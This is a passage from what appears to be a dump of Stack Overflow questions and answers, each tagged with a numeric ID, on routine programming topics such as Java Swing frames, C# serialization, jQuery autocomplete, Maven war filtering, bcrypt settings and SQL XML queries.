<code>implict</code> works well with the compiler, but they don't actually need a real RDD.</p> <pre><code>def mockRDD[T]: org.apache.spark.rdd.RDD[T] = null </code></pre> <p>And it's not even a real mock. It just creates a null object of type RDD[T]</p>
29636020	0	 <p>I have recently installed Chef Server 12 on Ubuntu 14.04.2 and could launch the Chef Management Console too (unfortunately i was stuck with some other issue so couldn't proceed further on this). </p> <p>You may refer this <a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-a-chef-12-configuration-management-system-on-ubuntu-14-04-servers" rel="nofollow">link</a> for detailed steps. </p>
2659755	0	 <p>Implement your own printf (on top of vsnprintf to take care of the dirty details) that writes to the console:</p> <pre><code>#include &lt;stdarg.h&gt; int printf(const char *fmt, ...) { char buffer[LARGESIZE]; int rv; va_list ap; va_start(ap, fmt); rv = vsnprintf(buffer, sizeof(buffer), fmt, ap); va_end(ap); Console.WriteLine(buffer); return rv; } </code></pre>
10146804	0	How to close a jframe without closing the main program? <p>i designed java desktop application in that application when i press a button another Jframe is shown that draws a tree but when i close the Jframe whole operation is close but i only want to close that Jfarme what should i do? here is the jframe codes:</p> <pre><code>public class DrawTree extends JFrame{ public int XDIM, YDIM; public Graphics display; @Override public void paint(Graphics g) {} // override method // constructor sets window dimensions public DrawTree(int x, int y) { XDIM = x; YDIM = y; this.setBounds(0,0,XDIM,YDIM); this.setVisible(false); this.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); display = this.getGraphics(); // draw static background as a black rectangle display.setColor(Color.black); display.fillRect(0,0,x,y); display.setColor(Color.red); try{Thread.sleep(500);} catch(Exception e) {} // Synch with system } // drawingwindow public static int depth(BinaryNode N) // find max depth of tree { if (N==null) return 0; int l = depth(N.left); int r = depth(N.right); if (l&gt;r) return l+1; else return r+1; } // internal vars used by drawtree routines: private int bheight = 50; // branch height private int yoff = 30; // static y-offset // l is level, lb,rb are the bounds (position of left and right child) private void drawnode(BinaryNode N,int l, int lb, int rb) { if (N==null) return; try{Thread.sleep(100);} catch(Exception e) {} // slow down display.setColor(Color.green); display.fillOval(((lb+rb)/2)-10,yoff+(l*bheight),20,20); display.setColor(Color.red); display.drawString(N.element+"",((lb+rb)/2)-5,yoff+15+(l*bheight)); display.setColor(Color.blue); // draw branches if (N.left!=null) { display.drawLine((lb+rb)/2,yoff+10+(l*bheight),((3*lb+rb)/4),yoff+(l*bheight+bheight)); drawnode(N.left,l+1,lb,(lb+rb)/2); } if (N.right!=null) { display.drawLine((lb+rb)/2,yoff+10+(l*bheight),((3*rb+lb)/4),yoff+(l*bheight+bheight)); drawnode(N.right,l+1,(lb+rb)/2,rb); } } // drawnode public void drawtree(BinaryNode T) { if (T==null) return; int d = depth(T); bheight = (YDIM/d); display.setColor(Color.white); display.fillRect(0,0,XDIM,YDIM); // clear background drawnode(T,0,0,XDIM); }} </code></pre> <p>and another question</p> <p>when i new a object from my tree class,i want to access that object in all my button codes so where i should define that or better to say , how i should define that object that can access in all my codes??</p>
11768616	0	 <p>It would appear that <strong>it does not work</strong>:</p> <pre><code>using System.Runtime.Serialization; using System.IO; using System; namespace ConsoleApplication1 { class Program { static void Main() { IHelloV1 yoyoData = new YoyoData(); var serializer = new DataContractSerializer(typeof(YoyoData)); byte[] bytes; using (var stream = new MemoryStream()) { serializer.WriteObject(stream, yoyoData); stream.Flush(); bytes = stream.ToArray(); } IHelloV1 deserialized; using (var stream = new MemoryStream(bytes)) { deserialized = serializer.ReadObject(stream) as IHelloV1; } if (deserialized != null &amp;&amp; deserialized.Yoyo == yoyoData.Yoyo) { Console.WriteLine("It works."); } else { Console.WriteLine("It doesn't work."); } Console.ReadKey(); } } public interface IHelloV1 { #region Instance Properties [DataMember(Name = "Yoyo")] string Yoyo { get; set; } #endregion } [DataContract(Name = "YoyoData", Namespace = "http://hello.com/1/IHelloV1")] public class YoyoData : IHelloV1 { public string Yoyo { get; set; } public YoyoData() { Yoyo = "whatever"; } } } </code></pre> <p>BUT, if you throw that attribute on the class property instead of the interface property, it does work.</p>
9176507	0	 <p>Firstly, you'd need unique identifiers for all of your input fields, hidden or not. Then assigning values to them would be a lot easier. You're really close, and I'd only change a few things to get it working, mostly to do with the IDs of the elements you're using:</p> <pre><code>&lt;script type="text/javascript"&gt; $(document).ready(function() { $('.auto').autocomplete({ source: "search.php", ... select: function(event, ui) { // figure out which auto we're using and get it's // associated hidden field... var element_id = $(this).attr('id'); var hidden_element_id = element_id + "_hidden"; // set the appropriate fields' values... $(this).val(ui.item.label); $("#"+hidden_element_id).val(ui.item.value); return false; } ... }); }); &lt;/script&gt; &lt;p&gt;Type the name of a band: &lt;input type="text" class="auto" id="auto1" /&gt;&lt;/p&gt; &lt;p&gt;Type the name of a band: &lt;input type="text" class="auto" id="auto2" /&gt;&lt;/p&gt; &lt;input name="hidden" id="auto1_hidden" type="hidden" /&gt; &lt;input name="hidden" id="auto2_hidden" type="hidden" /&gt; </code></pre> <p>One of the easier ways to associate hidden fields with visible counterparts...you get the ID of the element that's currently being autofilled, then grab its hidden field counterpart by just appending '_hidden' onto its ID attribute...make sense?</p> <p>Don't forget to change the ID attributes of the fields! Hope this helps!</p>
13144933	0	Form Authentication / Profiles slow on Azure Cloud, fine locally <p>I'm using MVC 4 on Azure, and it loads very slowly (over a minute). Here are the load times of a few pages: <img src="https://i.stack.imgur.com/nzmy3.png" alt="http://i.imgur.com/V4brS.png"> (the 6.9 minutes was when I tried loading 7 tabs with different pages)</p> <p>This problem does not occur when I'm using the Azure emulator, locally. </p> <p>I've tried using an extra large instance, and using remote desktop to run the site locally, and it was just as slow. Also I have tried using IIS Express and normal IIS, and nothing there either.</p> <p>I created a completely fresh MVC project using the "Internet application" template, which includes security, and it is very slow as well, so I'm pretty sure the other things I'm using in my project are not causing the problem. Here are the load times with just the default MVC project: <img src="https://i.stack.imgur.com/YUd25.png" alt="enter image description here"></p> <p>I was originally using separate affinity regions for my membership DB and my website, but I've tried using matching affinity groups on both the blank MVC template with forms authentication and my project.</p> <p>Revisiting pages doesn't improve their speed significantly.</p> <p>I also tried creating just a MVC site without authentication, with a 10x5000 table generated:</p> <pre><code>&lt;html&gt; &lt;body&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; @for (int i = 0; i &lt; 10; i++) { &lt;th&gt;@i &lt;/th&gt; } &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; @for(int i = 0; i &lt; 5000; i++) { &lt;tr&gt; @for(int j = 0; j &lt; 10; j++) { &lt;td&gt;Row @i , column @j&lt;/td&gt; } &lt;/tr&gt; } &lt;/tbody&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>This loads fine, both locally and on the cloud. Even from a cold start it is only ~10-15 seconds.</p> <p>So I'm fairly certain that the issue lies in the Profile/Membership/Authentication of ASP.NET, but only while it is deployed to Azure (since I'm using the same SQL Azure database with Universal Providers when running locally, and there aren't these slowdowns).</p> <p>I expected this problem to be more common, but the only thing that really seemed relevant was this: <a href="http://social.msdn.microsoft.com/Forums/en-US/windowsazuremanagement/thread/7d3323d8-571b-4b8f-9fdb-bd5ccc6c39b7" rel="nofollow noreferrer">social.msdn.microsoft.com/Forums/en-US/windowsazuremanagement/thread/7d3323d8-571b-4b8f-9fdb-bd5ccc6c39b7</a> (possibly this: <a href="http://stackoverflow.com/questions/10791433/saving-changes-very-slow-via-datacontext">stackoverflow.com/questions/10791433/saving-changes-very-slow-via-datacontext</a>)</p> <p>I'm working through the things to try, as suggested in that thread, at: <a href="http://windowsazure.com/en-us/manage/windows/best-practices/" rel="nofollow noreferrer">windowsazure.com/en-us/manage/windows/best-practices/</a></p>
25078449	0	 <p>Put your FOR loops in two different anonymous blocks, then do a <code>SPOOL OFF</code> followed by <code>SPOOL INV.CSV</code> between them. The first should go to one file and the second to the other.</p>
20850329	0	 <p>CDF is a framework for managing CSS &amp; JavaScript dependencies and optimizations your web application. It allows for each individual component in your web application to declare what CSS and JavaScript files they require instead of relying on a single master page to include all dependencies for all modules and of course handles all optimizations: minification, compression, caching, and so on....</p> <p>Currently available at <a href="https://github.com/Shandem/ClientDependency" rel="nofollow">github</a></p>
37767155	0	 <p>But my problem is the order, to copy is ok. i would want to copy that range but before from some sheet and then from others, regarding the name contained in that cell</p>
14874100	0	 <p>This should work, but beware that it is very <a href="http://stackoverflow.com/questions/201323/using-a-regular-expression-to-validate-an-email-address">simplified</a>:</p> <pre><code>(?:[^&lt;]*&lt;)?([^&gt;]+).* </code></pre> <p>Answer of email will be in <code>$1</code>.</p> <p>For example, in Perl use:</p> <pre><code>$email =~ s/(?:[^&lt;]*&lt;)?([^&gt;]+).*/$1/; </code></pre> <p>See <a href="http://fiddle.re/ub81" rel="nofollow">RegexPlanet online demo</a>.</p>
25586073	0	Bcrypt, what is meant salt and cost? <p>I was always using MD5 for encrypting passwords, but I read that it's should no more be used, and instead use bcrypt.. </p> <p>I'm using zendframework 2 , where I found it describing bcrypt configurations as follows:</p> <pre><code>$bcrypt = new Bcrypt(array( 'salt' =&gt; 'random value', 'cost' =&gt; 11 )); </code></pre> <p>what is the salt and what is the cost ? and how could them be used?</p>
36149857	0	 <p>I assume you have some sort of <code>list</code> of data inside your <code>adapter</code>. If yes, delete the item on the corresponding position of the deleted row.</p> <p>Also, try to call <code>viewHolder.setIsRecyclable(false);</code></p> <p>Your <code>onSwiped</code> should somehow look like this:</p> <pre><code>@Override public void onSwiped(RecyclerView.ViewHolder viewHolder, int direction) { // your original stuff here, db deletion etc. // don't forget to delete the data inside the adapter viewHolder.setIsRecyclable(false); adapter.notifyItemRemoved(pos); } </code></pre> <p>According to your comment, you are using <a href="https://gist.github.com/quanturium/46541c81aae2a916e31d" rel="nofollow">this adapter</a>? If so, I think you also need to call <code>swapCursor</code> or <code>changeCursor</code>. Have you seen <a href="http://stackoverflow.com/questions/16937839/android-how-to-requery-a-cursor-to-refresh-listview-after-deleting-database-row">this question</a>?</p> <p>Also, in your question, you are also using <code>adapter.notifyItemRangeChanged</code>, <code>adapter.notifyItemRemoved</code> should be enough.</p>
22411466	0	How to read specific node from XML column in stored procedure <p>I am pulling data from a variety of tables in a tsql stored procedure and one of the fields is an XML column. Each child node of this XML has 2 subnodes: Question and Answer. </p> <p>The xml structure looks like this:</p> <p><code>&lt;QuestionXML&gt; &lt;QuestionCollection xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt; &lt;Questions&gt; &lt;QuestionModel&gt; &lt;Question&gt;Color&lt;/Question&gt; &lt;Answer&gt;Blue&lt;/Answer&gt; &lt;/QuestionModel&gt; &lt;QuestionModel&gt; &lt;Question&gt;Tall&lt;/Question&gt; &lt;Answer&gt;False&lt;/Answer&gt; &lt;/QuestionModel&gt; &lt;/Questions&gt; &lt;/QuestionCollection&gt; &lt;/QuestionXML&gt;</code></p> <p>I need to find the question node whose name matches the string I pass in, and I would like to retrieve the value of its Answer sibling. </p> <p>Part 1: I would like to use the required XML syntax that is the equivalent of: (SELECT Answer FROM Questions Where Question='Color') AS 'COLOR'</p> <p>Part 2: I would like to select my XML value from an XML column that is the result of a nested SELECT statement.</p> <p>( SELECT Answer</p> <p>FROM (SELECT F.QuestionXML FROM XMLTable F WHERE F.PIN = @PIN) </p> <p>Where Question='Color' ) AS 'COLOR'</p> <p>I am unable to get the XML syntax right.</p> <p>If anyone could get the XML syntax correct for me, I think I can get Part 2 working on my own.</p> <p>Thanks</p>
39260486	0	Is it okay to attach async event handler to System.Timers.Timer? <p>I have already read SO post <a href="http://stackoverflow.com/questions/36661338/how-to-call-an-async-method-from-within-elapsedeventhandler">here</a> and article <a href="http://theburningmonk.com/2012/10/c-beware-of-async-void-in-your-code/" rel="nofollow">here</a> I have a timer event that fires every once in a while and i want to do some asynchronous processing inside the handler, so something along the lines of:</p> <pre><code> Timer timer = new Timer(); timer.Interval = 1000; timer.Elapsed += timer_Elapsed; // Please ignore this line. But some answers already given based on this line so I will leave it as it is. timer.Elapsed += async (sender, arguments) =&gt; await timer_Elapsed(sender, arguments); private async Task timer_Elapsed(object sender, ElapsedEventArgs e) { await Task.Delay(10); } </code></pre> <p>The code above compiling and working. </p> <p>But I am not sure why the code is compiling. The <code>ElapsedEventHandler</code> expected signature is </p> <pre><code> void timer_Elapsed(object sender, ElapsedEventArgs e) </code></pre> <p>However my method returns <code>Task</code> instead of <code>void</code> since <code>async void</code> is not recommended. but that does not match with <code>ElapsedEventHandler</code> signature and its still compiling &amp; working?</p> <p>Is it okay to call asyn method on Timer.Elapsed? the code will be executed inside windows service.</p> <p><strong>Update 1</strong> </p> <blockquote> <p>async void is "not recommended", with one very important exception: event handlers.</p> </blockquote> <p>Does it matter if its asynchronous event handler or synchronous event hander? </p> <p>MSDN Article <a href="http://%60https://msdn.microsoft.com/en-us/magazine/jj991977.aspx%60" rel="nofollow">here</a>csays </p> <blockquote> <p>Void-returning async methods have a specific purpose: to make asynchronous event handlers possible.</p> </blockquote> <p>Timer.Elapsed is I think synchronous event handler can I still attach <code>async void</code> to it?</p>
26789012	0	 <p>Ok, so assuming that my corporate domain name is bar.com, everything seems to route fine as long as all host entries that reference "bar" always followed it with ".com" </p> <p>If I tried to enter <code>foo.bar.net</code> or <code>foo.bar.org</code> or <code>foo.bar.floop</code> as my host, I get "No Response from DNS Server" errors. If I enter <code>foo.bar.com</code> the host resolves. </p> <p>While I received these errors as "Vital Security Proxy Errors", a developer on my team that is helping me test this received Trustwave errors instead. </p> <p>This seems to be something specific to our network security policies.</p>
10113767	0	 <p>One thing to note is that <code>include</code> will add a second db access to do the preloading. You should check what that one looks like (it should contain a big <code>IN</code> statement on the <code>player_ids</code> from <code>players_to_teams</code>).</p> <p>As for how to avoid using <code>include</code>, if you just need the name from <code>players</code>, you can do it like this: </p> <pre><code>PlayersToTeam.select("players_to_teams.id, players.FirstName AS player_name").joins(:player).limit(10).order("players.FirstName") </code></pre>
10687414	0	joomla- js file calling <pre><code>&lt;script type="text/javascript" src="&lt;?php echo $this-&gt;baseurl ?&gt;/templates/eurostar/js/jquery-1.5.min.js" /&gt;&lt;/script&gt; </code></pre> <p>any error?</p> <p>but if I just type <code>&lt;</code> which file automatically closing again and again,</p> <p>Why repeating this closing tag - <code>&lt;/script&gt; &lt;/script&gt; &lt;/script&gt;</code></p>
34418139	0	 <p>Here's a similar approach, using regular expressions instead:</p> <pre><code>import re def convert_string(s): return map(int, re.findall(r'[0-9]+', s)) </code></pre> <p>Or using a list comprehension:</p> <pre><code>import re def convert_string(s): return [int(num) for num in re.findall(r'[0-9]+', s)] </code></pre> <p>This is a more general approach and will work for any character (in this case '|') that separates the numbers in the input string.</p>
23104114	0	Filtering in maven-war-plugin does not exclude directory <p>This is a followup of my yesterday question <a href="http://stackoverflow.com/questions/23082104/conditionally-exclude-some-resources-in-maven-from-war">Conditionally exclude some resources in maven from war</a>. I was able to rearrange both development and production wars but filtering copies a directory <code>properties</code> to the war though it shall be excluded according to <a href="https://maven.apache.org/plugins/maven-war-plugin/examples/adding-filtering-webresources.html" rel="nofollow">documentation</a>. I could use <code>packagingExcludes</code> option, but I wonder why <code>excludes</code> does not work. Thank you for explanation.</p> <pre><code>&lt;plugin&gt; &lt;artifactId&gt;maven-war-plugin&lt;/artifactId&gt; &lt;configuration&gt; &lt;classifier&gt;dev&lt;/classifier&gt; &lt;webappDirectory&gt;${project.build.directory}/${project.build.finalName}-dev&lt;/webappDirectory&gt; &lt;filters&gt; &lt;filter&gt;${project.basedir}/configurations/properties/config_dev.prop&lt;/filter&gt; &lt;/filters&gt; &lt;webResources&gt; &lt;resource&gt; &lt;directory&gt;configurations&lt;/directory&gt; &lt;filtering&gt;true&lt;/filtering&gt; &lt;targetPath&gt;WEB-INF/classes&lt;/targetPath&gt; &lt;excludes&gt; &lt;exclude&gt;**/properties&lt;/exclude&gt; &lt;/excludes&gt; &lt;/resource&gt; &lt;/webResources&gt; &lt;/configuration&gt; &lt;executions&gt; &lt;execution&gt; &lt;id&gt;package-prod&lt;/id&gt; &lt;phase&gt;package&lt;/phase&gt; &lt;configuration&gt; &lt;classifier&gt;prod&lt;/classifier&gt; &lt;webappDirectory&gt;${project.build.directory}/${project.build.finalName}-prod&lt;/webappDirectory&gt; &lt;packagingExcludes&gt;WEB-INF/classes/*.jks,WEB-INF/classes/acquirer.properties&lt;/packagingExcludes&gt; &lt;filters&gt; &lt;filter&gt;${project.basedir}/configurations/properties/config_prod.prop&lt;/filter&gt; &lt;/filters&gt; &lt;webResources&gt; &lt;resource&gt; &lt;directory&gt;configurations&lt;/directory&gt; &lt;filtering&gt;true&lt;/filtering&gt; &lt;targetPath&gt;WEB-INF/classes&lt;/targetPath&gt; &lt;excludes&gt; &lt;exclude&gt;**/properties&lt;/exclude&gt; &lt;/excludes&gt; &lt;/resource&gt; &lt;/webResources&gt; &lt;/configuration&gt; &lt;goals&gt; &lt;goal&gt;war&lt;/goal&gt; &lt;/goals&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;/plugin&gt; </code></pre>
9860286	0	 <p>It's just an assumption, but according to <a href="http://developer.android.com/reference/android/app/Fragment.html#Lifecycle" rel="nofollow">Android Developers</a>:</p> <blockquote> <p>onStart() makes the fragment visible to the user (based on its containing activity being started).</p> </blockquote> <p>So width and height will be calculated only <strong>after</strong> your fragment will become visible.</p> <p>But, maybe, I'm not right.</p>
12387188	0	 <p>To get you started, here is my script to order today's lunch from our local canteen:</p> <pre><code>URL="https://lunch.com/lunch/cgi-bin/order.cgi" O="order=Order" A="amount_%d=%%d&amp;amount_foil_container_%d=%%d" function order_lunch() { if [[ -n "$@" ]]; then curl -u "$USER":"$PASSWORD" \ -d $(printf $(printf "$O&amp;$A&amp;$A&amp;$A&amp;$A" 0 0 1 1 2 2 3 3) \ "${@:2:8}") \ "$URL"; else echo "Nothing to order."; fi; } </code></pre> <p>Where input is a string in the following format</p> <pre><code>2012-08-23 1 0 0 0 0 0 0 0 </code></pre> <p>where each field denotes a different dish, i.e. a 1 in the first position after the date is "1 pasta"</p> <p>Good luck.</p>
39184263	0	Catch image data via WI-FI <p>I have a device that takes pictures and send to an iPhone app via WI-FI. The iPhone has to connect to the device's WIFI, and when the device takes a picture it saves to camera roll of the iPhone if the app is in the foreground. However if the app is in the background, nothing happens.</p> <p>My question is, can I catch this image data with another app that I create? I assume the data arrives to the iPhone via WI-FI when the app is in the background also.</p> <p>Thank you for your help.</p>
7073024	0	 <p>There is absolutely no difference. Try to run this code:</p> <pre><code>(function() { return setTimeout(function(){console.log(1)}, 500); })(); (function() { setTimeout(function(){console.log(2)}, 500); return; })(); </code></pre> <p><code>return</code> doesn't affect on setTimeout call in JS interpreter.</p>
20189448	0	 <p>You share methods in a module, and you place such a module inside the <code>lib</code> folder.</p> <p>Something like <code>lib/fake_data.rb</code> containing</p> <pre><code>module FakeData def random_address [Faker::Address.street_address, Faker::Address.city].join("\n") end module_function end </code></pre> <p>and inside your rake task just require the module, and call <code>FakeData.random_address</code>.</p> <p>But, if it is like a seed you need to do every time you run your tests, you should consider adding this to your general <code>before all</code>.</p> <p>E.g. my <code>spec_helper</code> looks like this:</p> <pre><code># Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. Dir[Rails.root.join("spec/support/**/*.rb")].each { |f| require f } RSpec.configure do |config| config.use_transactional_fixtures = true config.infer_base_class_for_anonymous_controllers = false config.order = "random" include SetupSupport config.before(:all) do load_db_seed end end </code></pre> <p>and the module <code>SetupSupport</code> is defined in <code>spec/support/setup_support.rb</code> and looks as follows:</p> <pre><code>module SetupSupport def load_db_seed load(File.join(Rails.root, 'db', 'seeds.rb')) end end </code></pre> <p>Not sure if you need to load the seeds, or are already doing this, but this is the ideal spot to also generate needed fake data.</p> <p>Note that my setup support class is defined in <code>spec/support</code> because the code is only relevant to my specs, I have no rake task also needing the same code.</p>
88789	0	 <p>.aspx doesn't fulfill the MVC pattern because the aspx page (the 'view') is called before the code behind (the 'controller').</p> <p>This means that the controller has a 'hard dependency' on the view, which is very much against MVC principles.</p> <p>One of the core benefits of MVC is that it allows you to test your controller (which contains a lot of logic) without instantiating a real view. You simply can't do this in the .aspx world. </p> <p>Testing the controller all by itself is much faster than having to instantiate an entire asp.net pipeline (application, request, response, view state, session state etc).</p>
17947245	0	 <p>It's all explained in the documentation of <a href="https://developer.blackberry.com/cascades/reference/bb__data__jsondataaccess.html" rel="nofollow"><code>JsonDataAccess</code></a>. You'll have to do something like this:</p> <pre><code>// Create a data model with sorting keys for title GroupDataModel *model = new GroupDataModel(QStringList() &lt;&lt; "title"); // Load the JSON data JsonDataAccess jda; QVariant list = jda.load("yourfile.json")["result"].toVariantList(); // Add the data to the model model-&gt;insertList(list.value&lt;QVariantList&gt;()); // Add your model to a ListView listView-&gt;setDataModel(model); </code></pre>
34635060	0	 <p>You are missing a closing <code>}</code> for <code>#nav-wrapper</code>. Add <code>text-align: center;</code> to <code>#nav</code></p>
20294620	1	Python: Run multiple instances at once with different value set for each instance <p>I'm starting up in Python and have done a lot of programming in the past in VB. Python seems much easier to work with and far more powerful. I'm in the process of ditching Windows altogether and have quite a few VB programs I've written and want to use them on Linux without having to touch anything that involves Windows.</p> <p>I'm trying to take one of my VB programs and convert it to Python. I think I pretty much have.</p> <p>One thing I never could find a way to do in VB was to use Program 1, a calling program, to call Program 2 and run in it multiple times. I had a program that would search a website looking for new updated material, everything was updated numerically(1234567890_1.mp3, for example). Not every value was used and I would have to search to find which files existed and which didn't. Typically the site would run through around 100,000 possible files a day with only 2-3 files actually being used each day. I had the program set up to search 10,000 files and if it found a file that existed it downloaded it and then moved to the next possible file and tested it. I would run this program, simultaneously 10 times and have each program set up to search a separate 10,000 file block. I always wanted to set up it so I could have a calling program that would have the user set the Main Block(1234) and the Secondary Block(5) with the Secondary Block possibly being a range of values. The calling program then would start up 10 separate programs(6, err 0-9 in reality) and would use Main Block and Secondary Block as the values to set up the call for each of the 10 Program 2s. When each one of the 10 programs got called, all running at the same time, they would be called with the appropriate search locations so they would be searching the website to find what new files had been added throughout the previous day. It would only take 35-45 minutes to complete each day versus multiple hours if I ran through everything in one long continuous program.</p> <p>I think I could do this with Python using a Program 1(set) and Program 2(read) .txt file. I'm not sure if I would run into problems possibly with changing the set value before Program 2 could have read the value and started using it. I think I would have a to add a pause into the program to play it safe... I'm not really sure.</p> <p>Is there another way I could pass a value from Program 1 to Program 2 to accomplish the task I'm looking to accomplish?</p>
28848097	0	 <p>Yes, <code>x</code> is not initialized.</p> <pre><code>int x=0; // just initialize it </code></pre>
37579090	0	For completely programmatically created UIView/UIViewController, what should be in loadView vs viewDidLoad? <p>For experimentation purposes, I am trying something completely in code.</p> <p>I have a custom root <code>UIView</code>/<code>UIViewController</code> subclass pair called RootView and RootViewController respectively.</p> <p>I also have a <code>GLKView</code>/<code>GLKViewController</code> subclass pair called RenderView and RenderViewController.</p> <p>Both <code>UIViewController</code> subclasses create their managed views in their <code>loadView</code> overrides.</p> <p>Setting up the main RootViewController/RootView is simple. In my AppDelegate subclass, I create the main window and assign the rootViewController proeprty like so...</p> <pre><code>#import "AppDelegate.h" #import "RootViewController.h" @implementation AppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { CGRect screenBounds = [[UIScreen mainScreen] bounds]; // Set up the window UIWindow* mainWindow = [[UIWindow alloc] initWithFrame:screenBounds]; mainWindow.rootViewController = [RootViewController new]; self.window = mainWindow; [mainWindow makeKeyAndVisible]; return YES; } @end </code></pre> <p>The RootView appears on screen exactly as one would expect.</p> <p>What I'm wondering however is about view hierarchy initialization. RootViewController has a property to hold an instance of RenderViewController, and its RenderView will be (initially) placed in the frame which is stored in a second property of RootViewController called renderViewFrame.</p> <p>My question is where is the proper place to set up that hierarchy?</p> <p>The documentation states that's exactly what <code>UIViewController</code>'s <code>loadView</code> is for so this is what I'm doing there...</p> <pre><code>- (void)loadView { self.view = [[RootView alloc] initWithFrame:[[UIScreen mainScreen] bounds]]; // Set up the RenderViewController RenderViewController* renderViewController = [RenderViewController new]; [self addChildViewController:renderViewController]; renderViewController.view.frame = self.renderViewFrame; [self.view addSubview:renderViewController.view]; self.renderViewController = renderViewController; } </code></pre> <p>...and it works, but I've seen some people say no, I should move everything relating to creating RenderView/RenderViewController to RootViewController's <code>viewDidLoad</code> and not <code>loadView</code>, but no one can say why. I mean it is part of the hierarchy and that's specifically what <code>loadView</code> is for.</p> <p>And if I'm right, then why would I/anyone need to use <code>viewDidLoad</code> at all if we're already doing initialization in <code>loadView</code>, or is that just an artifact from when memory could unload the views all the way back in iOS6?</p>
32590012	0	Iterating over states doesn't work for me <p>I have an item with multiple <code>StateGroup</code>s:</p> <p><code>MyObject.qml</code></p> <pre><code> import QtQuick 2.0 Item { id: root property alias myStates: myStateGroup.states // .. StateGroup { id: myStateGroup states: [ State { name: "first" }, State { name: "second" }, State { name: "third" } ] } } </code></pre> <p>I want to iterate over the state names: (in another file)</p> <pre><code>Component.onCompleted: { for (var i in instance.myStates) { console.log(JSON.stringify(i)) console.log(i.name) //.... } } </code></pre> <p>What I get is</p> <pre><code>"0" undefined "1" undefined "2" undefined </code></pre> <p>I want to iterate over the names of the states. What am I doing wrong that I get integers instead of <code>State</code>s? I know I could use a simple C-like for, but this looks really awful. I'd like to use the <code>for ... in</code> syntax.</p>
5372978	0	 <p>A recursive solution is probably a good solution. The function would only find the permutations of the first two arrays and then once combined into a single array, you would call this function again with the new combined array instead of the original arrays.</p> <p>Eventually you would only have 1 array left and that would be the final result array.</p>
18977024	0	Sencha touch 2 application not working on android mobile version 4 <p>I am trying to run sencha app on android mobile with api level 15 to support application from version 4. It is not going to the home screen,it's stuck at the loading screen only. It works perfectly on api level 17(4.2.2)/18(4.3). I have installed android sdk for api level 14(4),15(4.0.3). I am using sencha touch 2.2.1 and Sencha Cmd 3.1.2.342.</p> <p>Any possible reason for this behavior , or have I missed any thing please help.</p>
1501144	0	Handling mail: rails vs php vs perl vs? <p>This is my very first question in stack overflow and I am quite excited. Liked a lot the interface of this site and the buoyant community!</p> <p>I am building a rails app that receives text as an email and creates a post.</p> <p>I ask or your expert opinion on which is the best option to receive the mail message and process it?</p> <p>To send the mail to the application:</p> <ul> <li>A1: X accesses a POP/IMAP account periodically (30s cronjob?) and processes the message</li> <li>A2: the message is piped from the mailserver to the application X</li> </ul> <p>To process the application</p> <ul> <li>B1: rails with MMS2R</li> <li>B2: PHP that processes the message and sends a POST in rails</li> <li>B3: PERL that processes the message and sends a POST to rails</li> </ul> <p>Which combination A+B would you recommend for a big volume of mails?</p> <p>Any other A or B option?</p> <p>Thank you very much and good luck with all your scripting!</p>
16157624	0	 <p>Does this solve your task?</p> <pre><code>@echo off for /f "delims=" %%a in (file_list.txt) do ( &gt;&gt;run.txt echo open %%a and save as pdf ) </code></pre>
1799936	0	onchange attribute won't call function <p>I have an HTML document (<a href="http://www.wikiupload.com/download_page.php?id=196262" rel="nofollow noreferrer">here</a>), which creates an iframe-based media player for a collection of songs within albums (I just used letters to define these albums and songs in the mymusic array, for simplicity).</p> <p>Focusing on the top 3 iframes, the way I have set out the user interaction is to generate the HTML for forms of available albums and songs using Javascript, and write them to the iframes in the body. If you run it and make a selection in the <strong>Albums</strong> menu, you will see that the options in the <strong>Songs</strong> menu correspond with the <code>mymusic</code> array, so this works.</p> <p>However, when I choose a song, the function <code>nowplaying(trackindex,albumindex)</code> should be called using an <code>onchange</code> event in the <strong>Songs</strong> form, the same way as in the form generated using <code>showinitial()</code> ... but the function does not get called.</p> <p>I have ruled out the coding of <code>nowplaying</code> itself as a cause, because even when I change <code>nowplaying</code> to <code>alert("hello")</code>, it does not get called. So this leads me to think the problem is with the <code>onchange</code> attribute in "anything", but I can't see the problem. The way I coded it is no different to before, and that worked fine, so why won't this work?</p> <p>Any help would be much appreciated! </p>
39104359	0	 <p>Just check for carriage return character and new line, if the line index grows, but there is no carriage return or new line char (depending on OS) there IS a multiline string. Im not sure if this can be done with grep but should be quite easy to implement with any programming language or even bash</p>
26425531	0	 <p>Okay so, I had a similar problem where I needed two buttons centered at the top of the page. Due to the problem I just dropped it to one button (it was easier that way). Since I'm having the same problem now with three buttons, I can't drop them to one, so I reverted back to the two original buttons that caused me a problem and came up with this...</p> <pre><code>&lt;div class="row start-btns"&gt; &lt;div class="col-lg-6 col-lg-offset-3 test"&gt; &lt;div class="row"&gt; &lt;div class="col-lg-5 pull-left start-btn"&gt;Get Started&lt;/div&gt; &lt;div class="col-lg-5 pull-right tour-btn"&gt;Tour The Site&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- End .row .start-btns --&gt; @mixin btns { background: $yellow; color: $cream; font-weight: 700; font-size: 1.3em; text-transform: uppercase; text-align: center; padding: 12px 0px; } .call-btn, .start-btn, .tour-btn { @include btns; } .start-btn { margin-right: 1em; } </code></pre> <p>Having the parent ".test" span 6 cols and centered allowed me to nest another row with two buttons spanning 5 cols (actually 3 due to nesting) and pull one left and other right. This gives the effect that both buttons are spanning 3 columns and centered perfectly with a 10px spacing.</p>
21405644	0	 <p>You can use file API methods to set proper permissions using following methods.</p> <pre><code>setReadable(readable, ownerOnly) / setReadable(readable) setWritable(writable, ownerOnly) / setWritable(writable) setExecutable(executable, ownerOnly) / setExecutable(executable) </code></pre> <p>Regards,</p>
